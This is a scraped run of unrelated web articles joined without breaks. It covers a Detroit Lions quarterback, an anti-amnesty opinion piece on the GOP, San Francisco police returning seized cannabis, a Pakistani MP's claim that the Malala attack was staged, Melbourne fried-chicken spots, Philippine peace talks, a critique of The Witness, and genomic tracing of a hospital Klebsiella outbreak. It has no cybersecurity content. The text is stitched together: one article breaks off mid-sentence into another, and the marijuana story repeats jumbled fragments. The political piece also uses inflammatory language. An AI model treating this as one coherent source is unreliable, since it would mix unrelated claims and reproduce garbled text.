Jake Rudock was a shocking pick by the Detroit Lions during the draft as many expected him to get taken in the seventh round or undrafted, he was taken in the sixth round. Coming into camp, fans were hoping he would make the team as the third string quarterback. He looked average in camp, making some good and not so good throws, leaving fans in a questionable state of mind. Week one of the preseason happened where Rudock went 8 for 11 and threw a touchdown, looking good in his first pro game. Fans started up the hype train from then on and didn’t look back.
Rudock in week two of preseason had a down game, still going 8 for 11, but he threw an interception. Fans ignored the poor performance and still had faith in the quarterback. Week three of the preseason was his worst performance, going zero for six against the Ravens. While many of the fans believed that performance clearly showed he wouldn’t make the team, others still had faith. He finished the preseason strong, going 14 for 23 and threw for three touchdowns, against an Ohio State quarterback on the opposite team who had a horrible performance. This final game gave more fire to the Jake Rudock hype train and many (including myself) believed he could be the third string quarterback of this team.
Sadly, GM Bob Quinn didn’t believe in two quarterbacks and cut Jake Rudock. Many fans were outraged with the decision to cut him, as he had a better preseason than backup Dan Orlovsky. A majority of the fans that were upset had crazy expectations for the guy, thinking he could be the backup and some believing he could even start over Matt Stafford. While Rudock did look good and like a third string quarterback, there was no chance this season he would start or become a backup. That will take some time and it may never happen.
What is Jake Rudock’s Future?
Well good news for Rudock fans, he cleared the waiver wire and was eligible to become a member of the practice squad. Bob Quinn signed him to the practice squad on Sunday. So, while Jake Rudock isn’t a part of the 53 man roster, he is still a part of the Detroit Lions organization. A move which is sure to satisfy the quarterback’s fans.
What happens now? Well a few things could happen. Jake Rudock could start and finish the season on the Detroit Lions practice squad and will be a free agent after the season ends. He could be called up if Matt Stafford (or Dan Orlovsky) is injured and stay on the roster until they return. He could get picked up by another team who suffers an injury at quarterback and is in a need or believes in taking a risk on him. The final scenario is that he could be cut from the practice squad and become a free agent in the NFL.
Whatever happens to Rudock remains to be seen, but the projected UDFA was picked up in the draft, showed a decent performance in the preseason, and is keeping his career alive by signing with the Lions’ practice squad. Some fans expected a Tom Brady 2.0 story with Jake Rudock, but those thoughts will be have to be put away – as dreams until next season.
Thanks for reading! Don’t forget to follow me on Twitter @BKnappBlogs, find me on Reddit at /u/sportsguy4life and share your thoughts on the Detroit Lions subreddit.The question is—will the GOP Leadership even try?
The fearless leader of the American Right, Republican National Committee Chairman Reince Priebus, knows exactly what he’s going to do in response to Barack Obama’s unilateral grant of Amnesty to five million illegals. Priebus is going to raise money.
Only hours after Barack Obama’s speech, the RNC sent out a fundraising email signed by Priebus telling donors to “take a stand” by donating to the Republican Party. Of course, what the Republican Party intends to do with the money—or for that matter, with its new Congressional majority—is unclear.
But we do know one thing the Republican leadership intends to do: keep its own rank and file from acting to stop the President.
As Jonathan Strong of Breitbart noted:
As they departed the House floor, many en route to the airport for a Thanksgiving recess, many GOP lawmakers seemed as interested in explaining why options floated by colleagues from their own party wouldn't work as denouncing what they describe as an unprecedented power grab by a president they just decimated at the ballot box. [Republicans Leave Town Without a Plan to Fight Obama, November 20, 2014]
Virtually all Congressional Republicans have already ruled out impeachment, of course. According to Breitbart’s Strong, even a motion of censure seems to be a bridge too far for Republicans. And he quotes Congressman Pat Tiberi’s detached musings that the whole issue might end up before the Supreme Court.
The awful truth: Barack Obama just handed a gift to the Republican leadership. Speaker John Boehner, the RNC, and the professional political class of consultants and party hacks have long favored Amnesty to reward their donors, but they feared retribution from the conservative grassroots c.f. Eric Cantor. Nevertheless, as Steve Sailer has noted, the clueless Republican leadership probably would eventually have passed Amnesty on its own, and in so doing would committed political suicide. Now, Barack Obama has made the issue a fait accompli and taken full responsibility for the action. All Republican leaders think they have to do is sputter convincingly for their base, and then they can get on with plunging their snouts into the trough provided by the party’s midterm victory.
Some GOP presidential contenders in 2016, including Scott Walker, Mike Pence, and Rick “All Hat, No Cattle” Perry are proposing to rely on that bastion of right-wing populism, the American legal system [What Can the GOP Do to Stop Obama’s immigration order?By Pema Levy, Newsweek, November 20, 2014].
This option appears especially attractive to conservatives who are uncomfortable talking about just what President Obama did, but prefer to focus how he did it. Thus Rand Paul, who has consistently flirted with Amnesty, is again trying to be clever by comparing Obama to a king, grounding his complaint in process rather than policy.
But this legalistic kind of stand is hopelessly reactionary in the worst sense of the world. As Joe Sobran said long ago, “The U.S. Constitution poses no serious threat to our form of government.” Conservatives may fantasize about a court or judge acting as a deus ex machina to save Republicans from having to take political action. But the history of the immigration control movement, from Proposition 187 to Arizona’s SB 1070, consists of activist judges gleefully throwing out any laws or referendums that will actually enforce immigration law. More generally, courts have been largely unable to restrain determined Presidents at least since the Civil War.
This appeal to Constitutionalism also ignores the political reality that the Main Stream Media is not embracing a David Frost-like role in confronting executive overreach, but is actually helping the President make his case [It’s Legal, by Walter Dellinger, Slate, November 20, 2014]. Indeed, a Leftist government working with an anti-white MSM to replace the despised voters who have the temerityto show up to vote arguably describes the current system of government throughout the entire Western world.
Nonetheless, Speaker John Boehner, with his eyes presumably already shrink-wrapped in tears, made just that appeal on November 21 by filing a lawsuit against the President. But his lawsuit didn’t have anything to do with immigration—it was about Obamacare. And it probably isn’t even going to make it before a judge.
Legal scholars have said there is little precedent for a lawsuit by a single chamber of Congress against the president, and House GOP aides have privately acknowledged a judge could throw the challenge out before even ruling on the merits of the case. [The House Republicans Finally Sued Obama, by Russell Berman, The Atlantic, November 21, 2014]
As Rep. Steve King of Iowa has charged of the Republican leadership: "They're contriving red herring arguments to get to the point where enough members will walk out of this Congress and go home for Thanksgiving and say, 'Well, there's nothing we can do." [ John Boehner: ‘We will not stand idle’ on immigration (w/video), by Erica Werner, The Press Democrat, November 21, 2014]
Indeed, the real power brokers in the GOP are already telling Congress to forget this immigration distraction and get to work giving them money.
GOP leaders' concerns about getting distracted by immigration are shared by the business community and outside groups that bankrolled the party's recent electoral success. High hopes that the new Republican Congress would tackle economic and business issues could be dashed if the party were goaded into an immigration fight. [Obama’s plan of action on immigration may derail Republican agenda, by Lisa Mascaro, Michael Memoli, Los Angeles Times, November 20, 2014]
Meanwhile, Conservatism Inc. is equally clueless. National Review’s meandering editorial on what is to be done [ A Constitutional Crisis, The Editors, National Review, November 20, 2014] doesn’t suggest any particular course of action and certainly doesn’t even mention impeachment—odd, considering they employ Andy McCarthy. It simply says: “President Obama’s hubris has forced a constitutional crisis. Republicans need to start saying that — and acting like it.” By doing what exactly?
The truth is only real legal weapon the Republican Congress has is impeachment—a tool that was put in place by the Founders for precisely this kind of situation. If Republicans don’t impeach, it’s hard to see why Republican voters should care about winning them the next election, or indeed any election to come.
For American patriots, the solution then will be political insurrection via a Third Party and/or the creation of a new political force with the power to cripple the GOP and draw votes from Democrats via the white working class.
This is precisely what is occurring in the even more difficult political environment in Great Britain. The United Kingdom Independence Party (UKIP) recently inherited another defector from the Conservative Party, which is also being betrayed by its leadership. Mark Reckless took the honorable route of putting himself up for re-election in his old constituency and has won a crushing victory. This opens the way for UKIP to become a force in Parliament for the first time. [Rochester: Farage looks to more UKIP gains after success, BBC, November 21, 2014]
And if UKIP can do it in a media climate even worse than that of America, there’s no reason Americans can’t.
Parties die if they don’t respond to changing conditions. The person who can control a thing has a power to destroy it. Immigration patriots have, if not the power to fully control the GOP, at least the power to prevent it from ever |
a new profession. Preferably both.
For more on the topic, see last year’s piece: Veteran Reporter Exposes The New York Times’ Arrogant, Disconnected, Agenda Driven PerspectiveLast week, in what may be the largest single cop-to-grower marijuana transaction ever (the largest amount of pot returned by cops we’re aware of was 11 pounds, but that was given back a little at the time), the San Francisco Police Department gave seven pounds of cannabis back to grower Cody Phillips, whose cultivation for sale charges were dismissed in August.
SF Weekly. The cops also gave him back everything else they seized in the June raid, including grow lights and cash. The seven pounds of pot — in good condition, according to his attorney! — wasn’t all that Phillips got back, reports Chris Roberts at. The cops also gave him back everything else they seized in the June raid, including grow lights and cash.
The grow equipment had been returned earlier, according to attorney Derek St. Pierre, but figuring out how to return the marijuana was problematic. There is apparently no standing protocol for cop-to-civilian marijuana returns, especially for such large amounts. (Toke of the Town suggests that someone at the SFPD should get right on that.)
SF Weekly, but SF General wanted no part of the seven pounds of marijuana, St. Pierre said. Seized pain pills returned by the cops are usually processed through San Francisco General Hospital, according to, but SF General wanted no part of the seven pounds of marijuana, St. Pierre said.ISLAMABAD: A Pakistani woman parliamentarian has claimed that the 2012 Taliban attack on Nobel Peace Prize winner Malala Yousafzai was "scripted".Mussarat Ahmadzeb, a member of parliament from Imran Khan-led Pakistan Tehreek-e-Insaf (PTI) party, said that the entire saga of Malala writing for BBC and later the attack were part of a plan."The attack on Malala was scripted way before the incident (in 2012)," she told Urdu newspaper Ummat in an interview.Ahmadzeb, who is the daughter-in-law of former ruler of semi-autonomous state of Swat, doubted if any bullet was lodged in Malala's head."She (Malala) was shot in the head but no bullet was found in the Computerised Tomography (CT) scan in Swat. But yes, then the bullet got stuck in her head in CMH (combined military hospital) Peshawar," she later said in a tweet.She also accused that medics involved in the treatment of Malala were given land by the government to build houses."The medics who did the CT scan along with the doctor who examined her, all were awarded plots by the government," the PTI lawmaker said.Ahmadzeb claimed that Malala could not read and write when she was shown as writing stories for BBC as Gul Makai.She alleged that an American lived in the house of Malala for three months to train her for the future role.It was not immediately clear why the lawmaker was giving the statement attacking Malala and her efforts.Meanwhile, PTI spokesperson Shafqat Mahmood said that his party had already disowned Mussarat in 2014 along with two other lawmakers for violating party discipline."During the protest against election rigging, three MNAs (Members of National Assembly) -- Mussarat Ahmadzeb, Gulzar Ahmed and Siraj Muhammad -- refused to abide by party laws (and were disowned)," Mahmood told media.Yousafzai, 19, became a global symbol of the fight for girls education after being shot in the head in October 2012 for opposing Taliban restrictions on female education.The Pakistani education activist survived the attack and became an advocate for millions of girls denied formal education around the world.In 2013, Yousafzai and her father Ziauddin Yousafzai co- founded the Malala Fund to bring awareness to the social and economic impact of girls education, and to empower girls to demand change.She became the youngest-ever Nobel Peace Prize laureate in December 2014, sharing the honour with Indian children's rights and education advocate Kailash Satyarthi.Whether you’re enjoying it as a snack at the bar after work, or rolling up your sleeves after a big night out, be prepared to get your hands dirty because these fried-chicken dishes are finger-lickin’ good.
There’s more than one way to fry a chicken. Deep-fried, double-fried, soaked in buttermilk, dusted in spices, glazed in hot sauce. Inspired by traditions of the Deep South, Japan, Korea and the Caribbean, perfection is a delicious, crisp crust with succulent and flavoursome meat within.
Gumbo Kitchen ’s permanent diner on Smith Street, is known for its Louisiana-inspired comfort food and its rendition of fried chicken is no exception. Cajun-spiced wings come with a smoky chipotle mayonnaise, and on Thursdays $10 will get you fried chicken and a beer. There’s also a namesake fried chicken po’ boy comprising Cajun-spiced, buttermilk-marinated chicken tenderloins squeezed between a crusty roll and smothered with Louisiana hot sauce.
For an authentic Southern fried chicken experience you cannot surpass Rockwell & Sons on a Wednesday night (Melbourne’s worst-kept secret). Using a family recipe, North Carolinian Casey Wall serves a whole chicken that has been cut into eight parts, brined for three days and dredged through a seasoned-flour mix before being deep fried. The result is juicy chicken pieces with good crunch. Served with biscuits, devilled eggs and side dishes that change weekly.
Belle’s Hot Chicken
Belle’s Hot Chicken takes fried chicken to the next level – fine-dining alumni Aaron Turner and Morgan McGlone are serving it up Nashville style with eye-watering heat. Choose your meat (Turner suggests tenderloins to avoid mucking around with bones), choose your heat (novices, start with mild-medium, trust us) and the duo will fry it up before smothering it in a hot paste. Juicy inside and crunchy out, the satanic red colouring might be intimidating, but after one bite, you’ll be hooked.
Le Bon Ton
A late-night bar and supper club known for its Texas-style barbeque and oyster saloon, Le Bon Ton also offers some pretty decent Southern-style fried chicken. Three large, buttermilk-fried chicken tenderloins come with a ramekin of cracked pepper, white gravy and a jalapeno garnish. Tear off a chunk of chicken, douse it in gravy and add a pepper before stuffing it into your mouth.
Parlour Diner
Proving that you don’t need to be north of the river to make worthy fried chicken, this short-order diner delivers (alas, not literally). Though Parlour Diner is keeping its recipe totally hush-hush, we can definitely report that the product is golden, light, slightly sweet and succulent inside.
Mr Big Stuff
This soul-food mecca mixes it up with the addition of waffles and spiced maple. Two icing-sugar-doused, savoury cheddar-and-rosemary waffles fight for room on the plate beside three slightly sweet, buttermilk-brined chicken pieces. Smother the lot with ginger, star anise, cinnamon and lemon-infused spiced maple syrup. Add further heat with the habanero chillies and cayenne spice Hot Stuff sauce.
Boney
Brought to you by the Cookie crew, Boney leans away from its Thai siblings, opting for a Japanese-style of fried chicken. Boned chicken thighs are marinated in sake, freshly grated ginger, soya sauce and white pepper, before being tossed through potato flour and deep fried, resulting in a gorgeous snap, crackle and pop. A side of miso mayo and pickled daikon and ginger round out the Japanese flavours.
Frying Colours
Fighting Kentucky for the K in KFC, Korean cuisine is synonymous with excellent fried chicken, and Frying Colours is no exception. Offering original, spicy or sweet-soy fried chicken by the half or whole (or half and half if you want to mix things up) it’s the spicy version that really shines. The fiery gachujong will have you reaching for the wasabislaw to soothe the palate.
The Voodoo Jerk Truck
Tucked away behind Los Barbudos, Jabilli’s Kitchen food truck has been given a makeover, honing in on a Caribbean-Jamaican theme with a purpose-built jerk-down yard. The standout Island Fried Chicken comprises five pieces of chicken marinated in a light jerk seasoning that includes orange juice and pineapple, served with rum-pickled vegetables, preserved lemon, mint yoghurt and chilli sauce. A multi-layered flavour sensation, cleanse the palate with sugary Kool-Aid, then begin the process all over again.
Gami
No fried-chicken round-up would be complete without Gami Chicken & Beer, a Melbourne institution for late-night, post-drinking indulgence. Down thin crust, Korean-style fried chicken in original, sweet chilli, soy garlic or spicy sauce with a pitcher of “famous house beer” to truly further the experience.DAVAO CITY – The Communist Party of the Philippines rejected the termination of peace negotiations with the government and expressed optimism both parties would meet again this month.
In a statement issued on Monday, the CPP said the revolutionary movement was still seeking the continuation of the peace process to address the root causes of the 48-year-old conflict.
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“The Communist Party of the Philippines (CPP) joins the Filipino people in rejecting the declaration the other night of GRP President Rodrigo Duterte that he will terminate peace negotiations between the GRP and the National Democratic Front of the Philippines (NDFP) and that he is dissolving his negotiating panel,” the CPP said.
On Saturday night, the President terminated the peace negotiations and ordered the government panel to come home from the Netherlands after a series of attacks by New Peoples’ Army (NPA) rebels on soldiers.
READ: Abducted soldiers found dead; 2 more seized by the NPA
In one incident, alleged NPA rebels brutally murdered three unarmed soldiers doing community development work in Malaybalay, Bukidnon, on Feb. 1. The next day, suspected NPA rebels abducted two soldiers in Sultan Kudarat.
After the killing of the three soldiers, who were reportedly shot an average 24 times each, Duterte terminated the talks and ordered the military to prepare for a “long war.”
The CPP is saying that they have not agreed to ending the talks.
“Having not received any formal notice of termination from the GRP, however, we consider as standing the GRP-NDFP peace negotiations. We continue to look forward to scheduled talks on February 22-24 and April 2-6,” the CPP said.
Both parties agreed during the third round of talks in Rome last month that they would meet again in The Netherlands on February 22-24 to discuss the crafting of a bilateral ceasefire agreement, and on April 2-6 for the fourth round of talks.
It is expected in the fourth round that major points will be agreed that will lead to the signing of the Comprehensive Agreement on Social and Economic Reforms.
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Meanwhile, the CPP expressed concern over the threat of Mr. Duterte to re-arrest and detain NDFP peace consultants without bail.
One consultant, Ariel Arbitrario, was apprehended by soldiers in Davao City on Monday morning.
READ: NDF consultant, NPA liason officer arrested in Davao
“If carried out, these shall be considered as gross acts of treachery and grave violations of the Joint Agreement on Safety and Immunity Guarantees (JASIG). The JASIG was reaffirmed by the Duterte regime and the NDFP just a few months ago. It guarantees non-reprisal against each other’s peace personnel,” the CPP said.
The CPP said Mr. Duterte’s statement might be a spur of the moment decision without considering the many gains achieved after the resumption of the negotiations.
“His decision was made clearly without judicious consideration of the advise of his peace panel, and coming at the heels of a successful third round of peace talks in Rome, Italy just over a week ago,” the CPP said.
Despite the stumbling blocks, the CPP reaffirmed its commitment to explore peacefully ways to address the social, economic and political problems beleaguering the country.
“The Party and all revolutionary forces are one with the Filipino people in their aspiration for a just peace. The offices of the negotiating panel of the NDFP shall remain open to continue to explore the possibility of reopening peace negotiations with the Duterte government, both on the CASER as well as on the matter of a bilateral ceasefire simultaneous with release of political prisoners,” the CPP said. CBB/rga
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MOST READTHE recent release of Thekla Inc.’s 3-D puzzle game The Witness has been a bit of a cultural event in the world of video games. The game, which took a highly publicized seven years and multiple millions of dollars to make, cleared $5 million in sales in its first week. It has also been met with wide critical acclaim. Its lead designer and creator Jonathan Blow, who has been glowingly profiled in The Guardian and The Atlantic, has writers seemingly falling over themselves to praise him as a genius video-game auteur.
The Witness expects a lot of its players, particularly those used to playing more typical repetitive video-game fare. It draws many tropes from the popular 1993 computer game Myst: It is set on an island occupied only by you, the nameless player, and you wander around interacting with several environmental puzzles, which sometimes open up new locations or help you understand more about the nature of the island. The Witness‘s more than 600 puzzles require immense patience and a curious mind willing to try out many strange and seemingly unintuitive possibilities to solve them. Unlike Myst, however, The Witness gives you very little information about who you are or why you’re on the island, and you never go anywhere outside the island for the entirety of its 30-plus-hour play time.
The island of The Witness aims to be organic: Every nook and cranny brims with strange and colorful foliage, brambly trees, mysterious glyphs, and intently fussed-over crumbling architecture. Yet the island can also feel oddly plastic, which places it at odds with the game’s serious tone. Occasional details — like the mawkish, cornball statues of people gesturing plaintively that are strewn over the island — reinforce this dissonance. You are constantly reminded you that you are, in fact, playing a product of the game industry and not the game you might think you’re playing.
Each individual section of the island is highly distinct but combined together in a generic-video-gamey mishmash, as if different levels from Mario 64 were strung together in one contiguous space. There’s a desert temple, a mountain, a swamp, a greenhouse, rocky cliffs, multiple forests, a quarry, a castle, a monastery, a windmill, a sunken ship — you get the idea. Of course, The Witness’s take on the Mario-style level is much more detailed, built with the help of a few architectural firms. Still, one reviewer criticized the shallow cultural tourism of these generic themes, arguing that the island looked more like “a minigolf course” than a genuine space. For better or worse, and in spite of their detail, these spaces are far more symbolic than realistic.
Virtually all the puzzles on the island involve the basic concept of completing a maze by drawing lines through a grid, presented in the form of iPad-esque LCD screens that litter the island. Often, puzzles are attached to aspects of their immediate environment. For example, a set of trees around a grid might make subtle suggestions to pay close attention to the their shape or the shadows they cast. Throughout the game, a theme emerges of exposing the deeper connections between the organic environment of the island and the abstract, mechanical world of the puzzle grids. This island, more than anything else, seems to want us to be acutely aware of the design underlying its nature and the nature underlying its design.
The simple puzzle mechanic of The Witness serves several practical purposes for its thematic structure. One, it allows for the game to bring uninitiated players into understanding its often highly complex design language more easily, and therefore able to take on much more advanced concepts as they become introduced. Two, it serves as a through-line for the entire game itself, tying all the puzzles on the island to each other. Three, it extends out of the game’s fixation with complexity through simplicity, as well as other Eastern ideas like Zen Buddhism, which it directly invokes. The structure of the island seems to posit, deep down, that there’s a comprehensible formula underlying all of nature, even if we don’t understand what it is.
The inspiration for this seems derived in part from Blow’s obsession with the traditional Chinese grid-based game Go. What distinguishes Go from other board games — and makes it very popular among game designers — is how its simple rules allow for endless variations of scenarios and strategy to emerge. This idea of achieving maximum complexity through simplicity has become game-design dogma. Complexity, in this case, is a synonym for organic. A game designer plays God to her world, constructing a base set of rules and actors. These then take on their own shape and evolve, much as nature does in our own world.
In an interview with The Guardian, Blow said he wants to design games for people who read Thomas Pynchon. He aims to convey, unlike your typical video-game designer, an advanced understanding of art and wants his audience to engage in abstract philosophical discussion. And indeed, many elements of The Witness give off an enigmatic, mysterious, multifaceted vibe. The story is mostly nonexistent for the better part of the game, the island is eerily empty, and there’s something that feels ineffably strange. Yet the island is equally designed with commercial accessibility in mind: It’s colorful, attractive, detailed but reasonably generic, and any part of the island can be approached at any time. The constant tension between those two approaches is never fully resolved.
While playing the game, it’s hard to know exactly where Blow wants to place the audience. Because as cultural commentary, the island of The Witness feels pretty … impotent. Hidden audio logs, read smugly by professional voice actors, use famous quotations to introduce players to concepts like the infinite complexity of the universe, the dangers of cognitive bias in science, Zen Buddhist philosophy, and the role of science vs. art. These quotations often feel arbitrary, not particularly profound even in the game context. Even if they are an optional feature, one wouldn’t expect the logs’ lessons to so widely miss their mark.
If you look even harder, you can find secret codes that unlock video clips you can watch in a theater inside the game’s world. Two clips come from lectures on the value of inner awareness. I enjoyed these videos so much that, paradoxically, they made me all the more aware that I was watching them in an artificial video-game facade of a movie theater. If the game is telling me to pay close attention, then I can’t help but notice how hollow and constructed everything in its world really feels, in spite of its constantly trying to assert itself as some kind of symbolic representation of our own world. The Witness’s introduction to the world of philosophical inquiry feels similarly incongruous, its garish and oversimplified approach fundamentally at odds with its no-hand-holding approach to puzzles. Why such basic thoughts on top of such challenging design?
This is where it becomes apparent: Every part of The Witness’s world aspires for higher ideals but never comes close to realizing them. It is, instead, purely an escapist fantasy. It begs us to pay close attention to its nature and all the philosophical quandaries it invokes, but it never plunges us into anything like the multifaceted reality these quotes describe. The island exists in the walled-off fantasy world of the contemporary privileged white male, citing fragments of culture from contexts it could never hope to fully understand or know how to embody. It separates itself from our vastly more complex and grotesque reality to try to say something truer and more fundamental about the nature of things, yet it can’t even seem to say something insightful about the nature of its own reality. It’s filled with internal contradictions, imbued to its design-obsessed core with a strange cocktail of self-assuredness and self-destructiveness. It is the big, fat multimillion dollar vision of a Silicon Valley programmer awkwardly trying to refashion himself as an artist, which makes The Witness the perfect piece of art for a design-obsessed, art-illiterate video-game crowd.
The island’s version of nature, in the end, exists purely as another game mechanic, another place to be conquered. Its vague complexity is dark and thorny only to the extent that the dark thorniness lets players feel they’ve achieved some sort of revelation, after which they are done with it. Rather than manifesting Zen Buddhism in its design — upending the tightly controlled nature of the puzzles and introducing complexities, social or otherwise, which might call their internal harmony into question — the island invokes its ideas in a shallow, Orientalist way. Eastern philosophy is a mere prop to uphold the ultimate superiority of the game’s Western rationalist fantasy, where everything can be reduced to comprehensible puzzles. In general, there is an extreme disharmony between the philosophical ideas invoked by the game and the oversimplified, game-mechanic-filled plasticity of its world.
… And this might all be intentional.
Blow’s previous work, the Mario-like puzzle platforming game Braid, features a protagonist, Tim, who tries to “game” his memories through the game’s main time-shifting puzzle mechanic as a way to understand and/or rationalize something bad he did to a girl he dated in the past. This past is revealed through text in between the game’s levels, and the memories are revealed abstractly through the many video-game references of its differently themed puzzles. Ultimately, in the game’s last act, he finds all his inquiry to be useless — he can’t change the past. Braid brings up a lot of questions for players, ones not necessarily answered satisfyingly, even in its surprise ending. But at least the game deals in the “real world” experiences of a damaged relationship and acknowledges the dangerousness of a certain kind of rationalistic inquiry into subjective personal experiences.
The Witness deals instead in grand universals and seems self-assured in the soundness of its rationalistic ideals. In fact, if you follow the story fully, it suggests the island is one big VR experience commissioned by a federation of different countries to increase worker creativity and efficiency. A hidden audio log from this team of supposedly commissioned developers references their desire to create a meditative experience away from the “petty realities of our current age.”
This invites us to reconsider what’s going on: So many of the offensive things about this island make sense when we see that there’s an institutional interest behind its creation: The couches and pillows placed all over, as if the island were some sort of luxury vacation spot. The shallow, one-dimensional presentation of philosophical issues. The fact we spend the vast majority of time on this highly colorful island staring at rectangular screens that often feel like they’re presented more lovingly and organically than the game’s natural environments. The mealy-mouthed “universality.” The Western-centric idea that all of reality can be tamed by those aware enough, which seems extremely harmonious with the ideals of corporate tech incubators.
The island is revealed as really your own little place of escapism: In the game’s true, “secret” ending, you are sent through a portal into the lobby of a fancy hotel. All the game’s pleasures, its quiet places of contemplation and abstract philosophical quandaries, are luxuries offered only to those who can afford them.
Then, if we move further, the game highlights the absurdity of its own game design mechanic for us. Right after we leave the hotel, the game’s world takes a strangely dark turn: We’re sent through a portal into a very strange video filmed in first-person. Our mystery protagonist, probably a developer working on this VR game, wakes up (hooked up to a urine catheter which became famous on twitter a few days before the game’s release), pulls off his equipment, and tries in vain to do a series of line-drawing actions around his office, falling down multiple times. Eventually he wanders into the kitchen, the walls plastered with pictures of puzzles from the game, and then finally stumbles outside to a Buddhist backyard garden. Seemingly confused by nature, he resigns himself to lying down on a stone bench.
The suggestion here is that the game you were playing has ultimately failed. Our protagonist has entered into this reality and came out like a child who has to suddenly unlearn a largely useless set of skills he has spent the last 30 or so hours learning. Like he’s just deprogramming from a cult’s indoctrination. The island exists to teach conformity and compliance to its own ideals, not to teach you anything about the world.
The Witness thus seems to point to deeper, more disturbing implications about the way our culture, and particularly Silicon Valley, views technology as a panacea for all our cultural ills and a provider of enlightenment. Such a view is not only deeply dangerous; it’s a deliberate act of conditioning embarked upon to reinforce existing power structures. And the labor for this project usually comes from exploited workers. Escapism and self-exploration — the realm of video games — are one its major frontiers.
So how useful was it for us to spend all that time learning the nuances of The Witness’s game’s systems if it was actually bad for us in the end? Is this meant to help us to more fully understand the nature of this conflict? Or how culture — science and design and art and philosophy — is used out of context as part of a bland, bourgeois set dressing for those in power to maintain an image of cultural superiority?
In 2016, these points are so hard to see clearly in the cloud of manic optimism around the game and tech industries. “Indie game” culture has become about giving video games a public image more harmonious with other, more established aspects of culture. The Witness is treated by many, both inside and outside of the video-game world, as part of this larger effort to bring greater artistic and cultural legitimacy to the medium. This legitimacy translates, partly, to it being a bigger player in older institutions like art museums. It also validates that large chunk of “indie game” culture that exists as an extension of the booming, bloated tech industry and its high-minded libertarianism.
Indie Game: The Movie (2012), which featured Blow as one of its subjects, helped solidify the culture of independent-game-developer-as-celebrity for a larger audience. The game designers featured in the film, all white men, made a great deal of sacrifices to realize their vision, but in the end, they achieve massive commercial success. The film helps immortalize them as living embodiments of the “gold rush” mentality in indie game and tech culture. In 2008, when Braid was released to wide acclaim, the label “independent games” referred to a much smaller, more scattered, and often more experimental group of creators and designers. After Indie Game: The Movie, the number of developers seeking to achieve fame and fortune from their own creative visions skyrocketed.
Now, less than four years later, the industry is overrun by content, and developers are fighting for scraps. Tightly managed corporate monopolies like Steam and the App Store have solidified control over the market. The hope of striking it big as a game developer without a substantial budget or prior connections is basically gone. The new and promising talent constantly making its way into games enters a culture that no longer values smaller creators and is intensely close-minded toward all but the most marketable forms of artistic expression. Women, people of color, and queer and trans people also have to make a choice to be a constant target of harassment from an extremely paranoid and xenophobic culture or just be completely ignored. Many creators give up and quit after a couple of years.
Within this culture, we have Jonathan Blow and his public persona, of white middle-aged Silicon Valley boy genius inheritor of indie game celebrity and fortune, of “genius” puzzle designer, of someone who has openly talked shit on issues such as online feminism, of someone who has made it known how unaware he is (or how little he cares) of the material realities of most who exist in the extremely class-stratified independent game development world, of someone who just spent seven years and multiple millions on a project and now says he’s going to spend 20 years on his next one.
Indeed, Blow has contributed much to the destructive and highly classist notion in independent games that designers need to spend multiple years developing a game for it to reach its full potential. Corrypt, a smaller arty puzzle game that embarked on a similar design path to The Witness, received some attention in part thanks to Blow’s endorsement on Twitter. But at the same time, he and other established designers pressured its creator to spend more time and change its unique visual style to make it more accessible so a wider audience might see it. This sentiment, echoed by Blow’s friend, Spy Party developer Chris Hecker, might be well-intentioned, but it is also part of a culture of immense pressure to conform to specific ideals in order to have a hope of attaining broader recognition.
Corrypt and Starseed Pilgrim, another abstract puzzle game endorsed by Blow, aren’t necessarily great PR for “indie games.” They’re far too idiosyncratic to ever be widely embraced by the more traditional game culture, but they don’t match the “film-lite,” middlebrow, white-washed NPR image of indie games either. So many of these games exist in a weird limbo — not largely understood or supported by those on either end.
The tragedy is that these two games, and others like them, feel more self-contained and well-realized than many of the more widely celebrated games in the culture. They hint at the computer as a strange, distinct new organism — not something that should or really can be tamed. Their visual abstraction might be off-putting for newcomers, but this quickly turns into an advantage for effectively conveying their complex ideas. These discomfiting experiences give way to a depth that exists beyond what we have adequate words as a culture to speak about. As a result, they’re often far more new and exciting and relevant than many games that get a larger platform.
This brings us back to the strange irony of The Witness — that its creator seems to embody and materially benefit from the culture his game also ostensibly criticizes. It’s thrown me a bit for a loop, to be honest, and made me constantly doubt my own reading of the game. Maybe Blow only made this point against techno-utopian escapism subconsciously, without being aware of all the potential readings or implications that might stem from it. Or maybe the “secret” ending isn’t the real ending but merely a bad consequence that exists in an alternate universe, separate from the game’s normal escapist narrative.
In any case, because of the cloud around it, The Witness cannot cut nearly as deep as it maybe should’ve — if it even hoped to cut deep at all. Meanwhile, Blow and “indie game” celebrities like him will still benefit materially from the positive press that polished middlebrow games like his receive, while games just as artistically adventurous but less commercially palatable, from developers with less resources, will continue to be ignored both inside and outside video-game culture. I can’t take any of The Witness‘s possible points about how technology is used as a tool of bourgeois escapism to heart without tremendous reservations for all the deeply naive, self-effacing, and dangerous contradictions they embody.Was it Colonel Mustard in the library with a lead pipe? Or Mrs. Peacock in the ballroom with a candlestick? No, it was deadly, drug-resistant Klebsiella pneumoniae from a 43-year-old woman spreading to 17 other patients, killing 6 of them and sickening 5 others, at the National Institutes of Health’s (NIH) Clinical Center in June 2011.
In a biotech version of the classic board game "Clue," researchers from the National Human Genome Research Institute (NHGRI) used genome sequencing to solve the medical mystery of how the infection spread. The story, recounted today in Science Translational Medicine, is a fabulous teaming of classic epidemiological sleuthing and genome sequencing of the pathogen. At the same time, the saga glimpses microevolution in action.
K. pneumoniae is one nasty microbe. It kills half of those it infects. It resists many antibiotics, especially in the drug haven that is a hospital, stays alive on the hands of hospital staff, and lives happily in the guts of some people who are unaware that they are infected, even as they unknowingly spread the infection.
These bacteria are so alike genetically that standard ways to type them are useless. Yet changes in their DNA sequences do arise, even in as short a time as the 4 weeks when investigators probed various nooks and crannies of the index case’s body to sample the bacterial genome. They found telltale single gene variants (SNVs, the same as SNPs) at 41 sites in the 6-million-base genome. Some of the variants may have little or no effect, the consequence of a DNA replication error. It happens. But some may reflect the bacterium mutating towards yet another drug resistance. This is the essence of evolution: genetic change over time that affects the phenotype, thereby offering fodder for natural selection.
To deduce who passed the bug to whom, the researchers, with the aid of an algorithm to sort through the possibilities, compared bacterial sequences. "We thought we could use genome sequencing to tell whether the K. pneumoniae from the first patient was the same strain as the one that infected the second patient," said Julie Segre, who led the team.
The 17 patients fell into 2 groups and one loner. One cluster shared variants with bacteria from the lungs and groin of the index patient (who recovered), another with variants from her throat. The outlier patient got the infection from a contaminated ventilator. To reconstruct these events, because they didn’t connect quite as directly as the suspects in a game of Clue, the researchers sequenced the genomes of all 1,115 patients in the hospital at the time, finding 5 typhoid Marys to fill in the gaps.
